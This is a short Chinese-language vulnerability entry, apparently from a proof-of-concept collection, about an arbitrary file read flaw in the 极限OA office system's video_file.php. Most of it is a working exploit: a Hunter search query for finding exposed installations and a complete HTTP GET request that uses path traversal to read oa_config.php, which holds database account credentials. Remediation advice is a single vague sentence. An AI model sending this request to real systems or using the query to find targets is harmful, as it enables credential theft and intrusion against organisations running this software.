J7-1极限-OA-任意文件读取

漏洞描述：

极限OA网络智能办公系统代表先进的协同管理理念,采用领先的B/S方式,实现全球化远程办公和移动办公,是中国用户群最广泛的OA软件平台,企事业网络办公,远程办公,电子政务的首选。极限OA video_file.php处存在任意文件读取，攻击者可以从其中获取网站路径和数据库账号密码等敏感信息。

网站图片：

网络测绘：

Hunter 语法：

- huterweb.icon=="d80284560219883 73d7eca8b7ec28f09"

漏洞复现：

payload：

```
GET /general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php HTTP/1.1
Host: xx.xx.xx.xx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=d6b5b630ae433970a0a3f08109cdb673
```

效果图:

修复建议：

立即修复极限OA的`video_file.php`漏洞，防止任意文件读取，确保敏感信息安全。